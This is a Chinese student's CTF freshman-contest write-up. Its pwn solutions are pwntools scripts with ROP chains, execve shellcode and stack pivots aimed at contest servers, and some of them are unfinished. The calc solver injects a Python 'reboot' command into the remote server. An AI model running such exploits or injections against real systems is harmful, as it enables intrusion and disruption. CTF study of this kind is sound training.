# Write-upHaker:4rih04x
Grade: 2022
Affiliation: Academy of Cyberspace Security
总结:本次新生赛,笨人纯纯🤡,太菜了,可能时间是一部分原因,菜是大头,后面好好练习了,师傅领进门,修行看个人。师傅人好,自己菜🎈
接下来又准备期末复习啦,等我回来进攻二进制!
# 一.Pwn# 1.nc 关闭了标准输出,我们可以重导向。
命令
学习链接:shell 启动脚本中的 0、1、2、> 和 & 解析_0>&1-CSDN 博客
# 2.nc2核心与 Re 题的 shelling 一样。
不过需要从远端机接收二进制文件本地逆向分析。
# 接收 exp
行高亮 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *r = remote('149.104.24.236' , 6013 ) r.sendline(b'cat flag' ) print ('cat flag' )r.recvline(timeout=1 ) result = b'' while True : try : data = r.recv(timeout=1 ) if not data: break result += data except EOFError: break save_path = '/mnt/hgfs/Ubuntu_share/CTF/game/scu2023/pwn/output1.bin' if len (result) == 0 : print ("未接收到任何数据" ) else : while True : try : data = r.recv(timeout=1 ) if not data: break result += data except EOFError: break with open (save_path, 'wb' ) as file: file.write(result) print (f"回显已保存到: {save_path} " ) r.interactive()
# 本地脱壳分析然后就是本地脱壳分析,本博主很菜,在师傅的提醒下,用 gdb 手动调试的时侯将程序控制在 exit 前,这个时候会产生一个新进程。
命令行 1 dump memory {path} 0xstart 0xend
可以将脱壳后的新进程 dump 下来。
另外,博主 dump 下来后还是很菜,本地也不会看,师傅在软磨硬泡下,提醒我在 data 段,可能 ida 看不到,直接在 gdb 种看内存就行,心碎。
然后又到了本题的初衷:学习 gdb 的高级调试之如何下断点。
学习链接:[GDB 之调试系统接口 syscall (九)_android syscall-CSDN 博客](https://blog.csdn.net/u010164190/article/details/132893203?ops_request_misc={"request_id"%3A"170208983216777224460084"%2C"scm"%3A"20140713.130102334.pc_all."}&request_id=170208983216777224460084&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2 all first_rank_ecpm_v1~rank_v31_ecpm-2-132893203-null-null.142v96 pc_search_result_base3&utm_term=gdb catch syscall &spm=1018.2226.3001.4187)
命令行 1 2 3 catcn syscall exit catch syscall 0 # 调用号or名称都可以
然后在 data 段就可以看见了。
# 3.ret2text# Analysis一道很简单的题,不过本地卡到现在跑不了,去搜了一下,很可能是本地启用了一些什么奇奇怪怪的 gcc 编译,让原二进制文件跳不到 system,远程打通了。
行高亮 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 for ( i = 0 ; (int )i < a2; ++i ) { v4 = read(0 , (void *)((int )i + a1), 1uLL ); if ( v4 < 0 ) { perror("read" ); exit (-1 ); } if ( !v4 ) break ; if ( *(_BYTE *)((int )i + a1) == 10 ) return i; if ( *(_BYTE *)((int )i + a1) == 73 ) { *(_DWORD *)((int )i + a1) = 6566228 ; a1 += 2LL ; } } return i; }
关键函数,说明我们可以利用输入 ascll 码为 73 的字符 “I” 来执行程序的栈空间伸长,从而覆盖到返回地址,从而 getshell
# Attach
行高亮 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *p = remote("149.104.24.236" , 6003 ) sys_addr=0x401225 context.log_level = 'debug' p.recv() payload = b'I' *13 +b'\x00' +p64(sys_addr)+b'\x10' p.send(payload) pause() p.interactive()
师傅后续说本题要考虑栈空间对齐,和后门函数的调用问题,但本题我半天本地没通,是动态调试着做的,倒没注意这一点,这里也放一个学习链接。
关于 ubuntu18 版本以上调用 64 位程序中的 system 函数的栈对齐问题 - ZikH26 - 博客园 (cnblogs.com)
# 4.calc# Analysis一道计算题,要求完成计算 100 次,博主卡了一下,不知道有 eval 函数,可以直接执行 py 语句,手动写了一个计算脚本,但那天正好心情大好,都拿了血,主要考察脚本和 pwntools 的使用,但是哈,感觉电科那道题比这个题在字符串处理上更麻烦一点,不过师傅的那匹马确实帅。
# Attach
行高亮 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 import refrom pwn import *conn = remote("124.223.159.125" , 9091 ) m = 78 for _ in range (m): print ("------------" + str (m) + "----------" ) m -= 1 message = conn.recvuntil(b'>>' ).decode() print (message) match = re.search(r'<\s*(\d+)\s*([+\-*/])\s*(\d+)\s*=\s*\?\s*>' , message) if match : a = int (match .group(1 )) operator = match .group(2 ) b = int (match .group(3 )) if operator == '+' : result = a + b elif operator == '-' : result = a - b elif operator == '*' : result = a * b elif operator == '/' : result = a / b print (result) conn.sendline(str (result).encode()) else : conn.sendline(b"__import__('os').system('reboot')" ) print ("------fucker-------" ) conn.interactive() ''' ************************************************************************************** _____ _ _ ____ _ |_ _/ | __| | / ___|__ _| | ___ | | | |/ _` | | | / _` | |/ __| | | | | (_| | | |__| (_| | | (__ |_| |_|\____| \____\__,_|_|\___| ************************************************************************************** Welcome to T1d's Calc!Please complete 1027 arithmetic questions within 600 seconds. If you answer all of them correctly, T1d will give you a small gift~ _____________________ < 78561 + 54926 = ? > --------------------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || || input >>太酷了 '''
# 5.ret2libc师傅连夜出的,怕没人做 pwn,半夜上题,板子题没啥好说的
行高亮 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *from LibcSearcher import *p=remote('124.223.159.125' ,'9023' ) context(os = 'linux' ,arch = 'amd64' ,log_level = 'debug' ) elf=ELF('./pwn' ) main=0x4011ca rdi=0x4011c5 ret=0x40101a puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] payload1= b'a' *0x28 + p64(rdi) + p64(puts_got) +p64(puts_plt) + p64(main) p.recv() p.sendline(payload1) puts_addr=u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\00' )) print (hex (puts_addr))libc=LibcSearcher("puts" ,puts_addr) libc_base=puts_addr-0x080e50 sys_addr=libc_base+0x050d70 binsh=libc_base+0x1d8698 payload2=b'a' *0x28 +p64(ret)+p64(rdi)+p64(binsh)+p64(sys_addr) p.recv() p.sendline(payload2) p.interactive()
# 6.ret2shellcode简单题,栈上 rwx, 写了就执行了
行高亮 1 2 3 4 5 6 7 from pwn import *sh=remote('124.223.159.125' ,'9024' ) sh.sendline(b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05' ) sh.interactive()
# 7.exit hook好几题还没写,没时间看,但博主放在这里,肯定会回来补充的。
# 8.t1d-computerV2.0还没弄明白,师傅说是一个真实 cve,花了她 20 分钟看洞😰😰😰我现在没看出来。
# 9.fmt# Analysis这次确实很菜,很丢人,做到 fmt 和 blind 就卡住了,对于 fmt 的最后一字节爆破不会操作。
下面跟着来看看题目。
原函数:
源码 1 2 3 4 5 6 7 8 9 10 11 unsigned __int64 fmt () { char format[264 ]; unsigned __int64 v2; v2 = __readfsqword(0x28 u); puts ("wuhu~" ); read_mess(format, 256LL ); printf (format); return v2 - __readfsqword(0x28 u); }
我们发现明显的 fmt 漏洞。
栈分布情况如下:第一眼见的时候只看了 30 行栈,没看见 rbp,蠢
经过计算:
rbp:0x22+6=40 ret:0x23+6=41 canary=39
显然我们有了基本的攻击思路,将返回地址的最后一字节改了,(因为 ret 和 fmt 相隔很近)改成 fmt 函数,这样我们可以制造多次读入,甚至无限读入
然后我们依赖多次读入,可以泄露 rbp、ret、canary 等内容,最红目标是想拿 shell,因此我们还需要构建 rop 链子,创造指针执行,这点是师傅的 hint。
本题没在规定时间做出来,心碎。
# Attach贴一个还没写完的 exp,等待更正
题解exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from pwn import *p = process('./pwn' ) elf = ELF('./pwn' ) libc=ELF('./libc.so.6' ) p.recvuntil(b'wuhu~' ) payload = b'%' + str (0xe3 ).encode() + b'c%41$hhn' payload += b'%43$p %39$p %40$p' gdb.attach(p,'b fmt' ) pause() p.send(payload) p.recvuntil(b'0x' ) pie_addr = int (p.recv(12 ), 16 ) - (0x4058 +128 ) print (hex (pie_addr))base_addr = pie_addr + 0x4058 - libc.sym['__libc_start_main' ] p.recvuntil(b'0x' ) canary = int (p.recv(12 ), 16 ) print (hex (canary))p.recvuntil(b'0x' ) rbp_addr = int (p.recv(12 ), 16 ) - 0x10 print (hex (rbp_addr))''' p.recvuntil(b'wuhu~') payload = (b'%' + str(0xb2).encode() + b'c%10$hhn').ljust(16, b'a') + p64(rbp_addr + 8) p.send(payload) p.recvuntil(b'wuhu~') num = (rbp_addr & 0xff) - 0x78 print(hex(num)) if num < 0: return 0 payload = (b'%' + str(num).encode() + b'c%10$hhn').ljust(16, b'a') + p64(rbp_addr) p.send(payload) ''' system = base_addr + libc.sym['system' ] pop_rdi = base_addr + 0x2a3e5 binsh = base_addr + next (libc.search(b'/bin/sh' )) payload = b'a' *(0x110 -8 ) + p64(canary)+ b'a' *8 +p64(pop_rdi) + p64(binsh) + p64(system) p.recvuntil(b'wuhu~' ) p.send(payload) p.interactive()
菜就多练
# 10.ORW(io_uring)一道禁用了 orw 的沙盒
只能通过 IO 流来想办法了,在复现的时候也是参考了师傅的 ACTF 的 master of orw 学习一些知识。
可以直接看内核源码来寻找 orw
的替代逻辑。可以打 io_uring。
函数 io_openat2
寻找引用链,可以得到这样的调用链 :
io_openat2 <- io_issue_sqe <- io_wq_submit_work <- io_init_wq_offload <- io_uring_alloc_task_context <- io_sq_offload_create <- io_uring_create <- io_uring_setup <- SYSCALL_DEFINE2(io_uring_setup, u32, entries, struct io_uring_params __user *, params)
# 资源限制 (pid)ulimit 在 pwn 题中的应用 | Introspelliam
Linux 中修改进程资源访问限制 - 知乎 (zhihu.com)
本题的思路就是先绕过资源限制然后通过 io_openat2 来读取 flag。
源码 1 2 3 4 5 #include <sys/time.h> #include <sys/resource.h> int prlimit (pid_t pid, int resource, const struct rlimit *new_limit, struct rlimit *old_limit) ;
# 11.Blind 系列 [一次输入]
源码 1 2 3 4 5 6 7 __int64 __fastcall main (int a1, char **a2, char **a3) { char buf[160 ]; read(0 , buf, 0xB0 uLL); return 0LL ; }
只能输入一次,溢出 16 字节。1,2,3 编译条件不同,和细节不同。
# 11.1 Onlyoneread
思路 1 2 3 4 5 6 7 8 9 10 11 execve是转头直接执行其他的二进制文件。产生新进程。 将 sys_execve 的调用号 59 赋值给 rax 将 第一个参数即字符串 "/bin/sh" 的地址 赋值给 rdi 将 第二个参数 0 赋值给 rsi 将 第三个参数 0 赋值给 rdx 1、文件路径为/bin/sh,这个sh其实是个shell程序,如果argv是空(0也可以),那么就会去打开一个shell,所以execve("/bin/sh" ,0,0)是我们最常用的。 but如果argv不为空呢,sh就可以变成变成一个shell脚本解析器,这时候argv应该是这么组成char *argv[]={"/bin/sh" ,"flag" ,NULL}这样子这个数组的第一个内容是文件路径,这个和execve的第一个参数一样,但是吧由于argv的特性,所以数组的第一个一定得是这个,然后第二个就是我们要解析的脚本路径,我这边是相对路径,然后第三个是空,这个是argv的要求,要求最后一个一定得是NULL。 这个有什么用呢,如果argv里面的要解析的文件不是shell程序,那么就会把文件内容以报错的形式输出出来,如果题目把0(标准输入)和1(标准输出)关了,还能这么拿到flag。 2、文件路径为/bin/cat,这个cat 故名思议就是打印文件内容的程序,函数形式为execve("/bin/cat" ,argv,0),argv[]={"/bin/cat" ,"flag" ,NULL},zhege argv的第二个变量是要打印的文件的名字,这样子就可以把flag文件打印出来了
# 思路:1. 第一次栈迁移到 bss 段,构造 read 的虚拟栈
new_rbp1 = 期望 rax + 0xa0;
leave_ret 返回地址为 read 的起始语句 lea rax, [rbp+buf]
2. 第二次 开始构造 read 的虚拟栈, 在 bss 段上布链子,最后达到 0xa0-16 个字节,溢出产生新的 rbp,leave_ret
布置链子目的:借用 read 的 syscall,触发 x86 的 exceve(”binsh“,0,0)
该链子满足:
调用一次 read 函数:
1)利用 read 的返回值为实际读取字数并存到 rax 控制 rax=0x3b
2)利用 read 可向特定地址 内写入,控制写入地址为”binsh“所在内存,rdi = binsh
此时发现内存中没有 pop rdi 可以直接使用,因此借用 csu。
3)csu 可以一次性实现 rdi,rdx,rsi 的布置,同一般的 ret2csu 一样,开始布置 exceve。(已有条件:rax=0x3b,特定地址 上的 binsh)
题解exp 1 2 payload = com_gadget(gadget1_addr, gadget2_addr, syscall_addr, binsh, 0 , 0 ) payload = com_gadget(gadget1_addr, gadget2_addr, read_got, 特定位置, 0 , 0 )
问:syscall 哪里来?-----> 第三次输入
问:binsh 哪里来? -----> 调用一次 read 来控制 -----> 第四次输入
3. 第三次输入
我一开始的想法: ret2csu
改写 read
的 got 表为
syscall 的地址,调用 read 触发 syscall
即可。
师傅说没这么麻烦,可以直接利用 raed 函数,将 rax 设置成 read_got,直接向里面写入覆盖最后一位即可。
4. 第四次输入,构造条件即可。
关键 rax 的掌控:
程序进行时 rax 要求(rax=rbp-0xa0) 第一次栈迁移到 bss 段(由 main 函数引起 read) new_base1 到 bss 段即可,rax = new_base1-0xa0,read 向 raxA 处地址 开始写入链子 第二次栈迁移要求执行链子:new_base2-p64 (0)- 链子所在地址(由第一次 ret->main 引起 read) rax = new_base2 - 0xa0 、new_base2 + 0x08 = A 处地址 第三次 read 修改 read_got (由第二次 ret->main 引起 read) rax = read_got 地址 又 rax = new_base2 - 0xa0 第四次 read 在指定位置读入 binsh 由第二次栈迁移执行链子自己的 read 引起) rax 为 read 实际读入字节,rax = 0x3b 故由 rax 满足式子: new_base2 - 0xa0= read_got 、 new_base2 = new_base1 - 0xa0 - 0x08 read_got = 0x404018 new_base2 = read_got+0xa0 = 0x404b8<br />new_base1 = new_base2+0xa0+0x08=0x4040c0+0xa0
# 1. 第一次输入原 main 函数的输入
read 函数的利用手段,当程序中将要执行的 read 函数,三个部分,一写入的字节
源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 ''' 函数原型: int read (int handle,void *buf,int len) ; 功能:用于读取打开文件的内容 参数: int handle 为要读取的文件 mov edi, 0 (0 表示写入) ; fd void *buf 为要将读取的内容保存的缓冲区 mov rsi ,rax ; buf int len 读取文件的长度 mov rdx,len ; nbytes 返回值:返回实际读取的字节数 返回值写入->rax 汇编: mov rdx,len ; nbytes mov rsi ,rax ; buf mov edi, 0 ; fd call read '''
栈迁移迁往 bss 上的一段虚拟栈。
题解exp 1 2 3 4 5 6 7 8 9 10 11 12 addr = elf.bss()+0x500 print (hex (addr))ret = 0x4040c0 + 0xa0 leave_ret = 0x401132 payload = b'a' *0xa0 payload += p64(ret) + p64(leave_ret) p.send(payload)
# 2. 第二次输入第一次栈迁移 jmp 到 lea 那一步后的地址引起的输入
栈迁移后第二次输入:向 read 的虚拟栈(即 bss 上段地址)中注入情况
题解exp 1 2 3 4 5 6 7 8 9 10 11 12 pop_rsi_r15=0x4011c1 payload = p64(pop_rsi_r15)+p64(0x404200 )+p64(0 )+p64(read_plt) payload += com_gadget(gadget1_addr, gadget2_addr, read_got, 0x404200 ,0 ,0 ) payload = payload.ljust(0xa0 , b'a' )+ p64(read_got+0xa0 ) + p64(leave_ret)
# 3. 第三次输入第二次栈迁移 jmp 到 401132 的引起的输入,把 read 的 got 表改成 read 里面的 syscall,因为 read_got 离 read 自己的 syscall 很近,可以选择爆破最后一字节。
题解exp
# 4. 第四次输入链子带来的输入
用 read_plt 调用 read: 借用 pop rsi_r15
rdi = 0, rsi = 0x404200, rdx = 0xb0 (上一次 read 后没改变)
向 404200 写入 0x3b 字节(rax=0x3b),写入 binsh
题解exp 1 2 p.send(b'/bin/sh\x00' + b'a' *(0x3b -8 ))
# 5. 执行 csu,syscall1->3->4->2 的链子
# exp:
题解exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) p = process("./pwn.pwn" ) elf = ELF("./pwn.pwn" ) gadget1_addr = 0x4011ba gadget2_addr = 0x4011A0 read_plt = elf.plt['read' ] read_got = elf.got['read' ] def com_gadget (addr1 , addr2 , jmp2 , arg1 , arg2 , arg3 ): payload = p64(addr1) + p64(0 ) + p64(1 ) + p64(arg1) + p64(arg2) + p64(arg3) + p64(jmp2) + p64(addr2) + b'a' *56 return payload ''' def csu(rdi,rsi,rdx,call):#110字长 pay = p64(0x4011BA) + p64(0) + p64(1) + p64(rdi) + p64(rsi) + p64(rdx) + p64(call) pay += p64(0x4011A0) return pay def csu(rbx, rbp, r12, r13, r14, r15, last): # pop rbx,rbp,r12,r13,r14,r15 # rbx should be 0, # rbp should be 1,enable not to jump # r12 should be the function we want to call # rdi=edi=r15d # rsi=r14 # rdx=r13 payload = p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payload += p64(csu_front_addr) payload += 'a' * 0x38 ''' pause() bss_addr = elf.bss()+0x500 print (hex (bss_addr))print (hex (read_got+0xa0 +0x08 +0xa0 ))new_base1=read_got+0xa0 +0x08 ret = 0x4040c0 + 0xa0 leave_ret = 0x401132 payload = b'a' *0xa0 payload += p64(ret) + p64(leave_ret) p.send(payload) pause() pop_rsi_r15=0x4011c1 payload = p64(pop_rsi_r15)+p64(bss_addr)+p64(0 )+p64(read_plt) payload += com_gadget(gadget1_addr, gadget2_addr, read_got, bss_addr,0 ,0 ) payload = payload.ljust(0xa0 , b'a' )+ p64(read_got+0xa0 ) + p64(leave_ret) p.send(payload) pause() p.send(b'\xe0' ) pause() p.send(b'/bin/sh\x00' + b'a' *(0x3b -8 )) p.interactive()
# 11.2 Oneread在 1 的基础上将 flag 放在当前进程的环境变量中,而 exceve 是重新 fork 一个程序,不继承环境变量,因此只有考虑 libc 的 system。
方法 1:ret2dl 这个可以套用模板
方法 2:在 1 的基础上尝试调用 libc 的 puts 函数泄露基地址用 ret2libc 的思想。
方法 2 详解:
由第 1 道题我们直到 1 中我们有任意写权限(改写 got 表为 syscall),迁移两次栈,一次到 bss,一次到虚拟栈,执行虚拟栈。
因此,用 syscall_write 泄露 read 的 got 表即可达成目的。
本题较为复杂的是 exp 的构造。
布栈情况:(已执行修改 got 表)
有点像写 shellcode 反正.
# 11.3 Blind2开了 full Re 的保护,无法修改 got 表,主要是布栈比较复杂。
# 12. 五子棋# Analysis这道题因为有一些思路,并没有使用爆破手法,因为受不鸟嘲讽。
漏洞函数:逻辑盘判断失误,我第一眼我就觉得如果把 dword_4020 [k] 变成 0,那么可以实现判断逻辑错误然后卡 bug 赢,那么我们的目标就是把它改成 0
行高亮 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 for ( i = 0 ; i <= 19 ; ++i ) { for ( j = 0 ; j <= 19 ; ++j ) { for ( k = 0 ; k <= 7 ; ++k ) { for ( m = 0 ; m <= 5 ; ++m ) { if ( m == 5 ) return 1LL ; v6 = m * dword_4020[k] + i; v7 = m * dword_4040[k] + j; if ( v6 < 0 || v7 < 0 || v6 > 19 || v7 > 19 || a1 != dword_9D60[20 * v6 + v7] ) break ; } } } } return 0LL ; }
我们观察到
行高亮 1 2 3 4 5 6 7 8 void *sub_12E9 () { setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); setbuf(stderr , 0LL ); memset (&unk_40A0, -1 , 0x5CA4 uLL); return memset (dword_9D60, -1 , sizeof (dword_9D60)); }
4040 [k]-9D60 相距多少?我们精确计算:相距 5D20=23840=298 * 4(int)* 20
因此输入 - 299,-19 拿下
# 13.t1d-compterV3.0# 14.ddlbook# 二.Re # 1.shelling 脱壳
mimi
dump 到本地拿下
# 三.Misc这次的 misc 好有意思,嘿嘿,爱了,不过没做完,misc 确实可以边蹲坑边做,r3 还不信
# 1. 签到下 pdf 就有
# 2.OSINTWeb 学习路线 - SCU-CTF HomePage (scuctf.com)
要获取网页的 SHA 值,可以通过以下步骤进行操作:
打开网页,可以使用浏览器访问该网页。 在浏览器中按下 F12 键,打开开发者工具。 在开发者工具中,切换到 "Network"(网络)选项卡。 刷新网页,以便加载所有的网络请求。 在网络请求列表中找到网页对应的请求,通常是 HTML 文件,可以通过筛选或搜索来快速找到。 右键点击该请求,选择 "Copy"(复制)并选择 "Copy as cURL"(复制为 cURL)。 将复制的 cURL 命令粘贴到文本编辑器中。 在文本编辑器中找到 -H 'If-None-Match: "XXXXXXXX"'
这样的参数,其中的 XXXXXXXX
就是网页的 SHA 值。 请注意,这种方式获取的是网页请求头中的 ETag
值,它通常是服务器根据网页内容生成的哈希值,用于验证网页内容是否发生变化。这个值并不是网页文件本身的 SHA 值。如果你需要获取网页文件的 SHA 值,可以使用其他工具或脚本来计算网页文件的哈希值。
# 3.tld2 找图片
# 4.encoding1
# 5.encoding2
# 四.Crypto1. 密码做了 4 个题,不想写 wp,心碎,直接贴我的 exp
行高亮 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from base64 import b64encode, b32encode, b16encodefrom flag import FLAG0print (b64encode(b32encode(b16encode(FLAG0))))exp: from base64 import b64decode, b32decode, b16decodeencoded_string = "R1VaVElNWlZHVTJER05KVUdRM0RPUVJVR0UyREdOU0RHWkRETU1aV0lJM1RPTlNHRzRaRE1RUlVJWTNURU5SUkdaQ1RNTlpXR1UzVUk9PT0=" decoded_string = b64decode(encoded_string) decoded_string = b32decode(decoded_string) decoded_string = b16decode(decoded_string) print (decoded_string)
行高亮 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from flag import FLAG7from hashlib import sha256for i in FLAG7: print (sha256(chr (i).encode()).hexdigest(), end=" " ) from hashlib import sha256hashes = [ '8de0b3c47f112c59745f717a626932264c422a7563954872e237b223af4ad643' , '6b23c0d5f35d1b11f9b683f0b0a617355deb11277d91ae091d399c655b87940d' , 'a25513c7e0f6eaa80a3337ee18081b9e2ed09e00af8531c8f7bb2542764027e7' , '6b23c0d5f35d1b11f9b683f0b0a617355deb11277d91ae091d399c655b87940d' , 'e632b7095b0bf32c260fa4c539e9fd7b852d0de454e9be26f24d0d6f91d069d3' , 'f67ab10ad4e4c53121b6a5fe4da9c10ddee905b978d3788d2723d7bfacbe28a9' , '021fb596db81e6d02bf3d2586ee3981fe519f275c0ac9ca76bbcf2ebb4097d96' , 'c4694f2e93d5c4e7d51f9c5deb75e6cc8be5e1114178c6a45b6fc2c566a0aa8c' , '50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326' , 'ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb' , '454349e422f05297191ead13e21d3db520e5abef52055e4964b82fb213f593a1' , 'de7d1b721a1e0632b7cf04edf5032c8ecffa9f9a08492152b926f1a5a7e765d7' , '62c66a7a5dd70c3146618063c344e531e6d4b59e379808443ce962b3abd63c5a' , '5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9' , '1b16b1df538ba12dc3f97edbb85caa7050d46c148134290feba80f8236c83db9' , '5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9' , 'cd0aa9856147b6c5b4ff2b7dfee5da20aa38253099ef1b4a64aced233c9afe29' , 'ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb' , '4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a' , 'ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb' , '454349e422f05297191ead13e21d3db520e5abef52055e4964b82fb213f593a1' , '6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b' , 'bb7208bc9b5d7c04f1236a82a0093a5e33f40423d5ba8d4266f7092c3ba43b62' , 'd10b36aa74a59bcf4a88185837f658afaf3646eff2bb16c3928d0e9335e945d2' ] flag = "" for ha in hashes: for i in range (32 , 127 ): character = chr (i) if sha256(character.encode()).hexdigest() == ha: flag += character break print (flag)
没写的就当我口算的把,😭
# 五.Web 1.2048 控制台操作,饶了半天,js 文件想直接去网页改源码,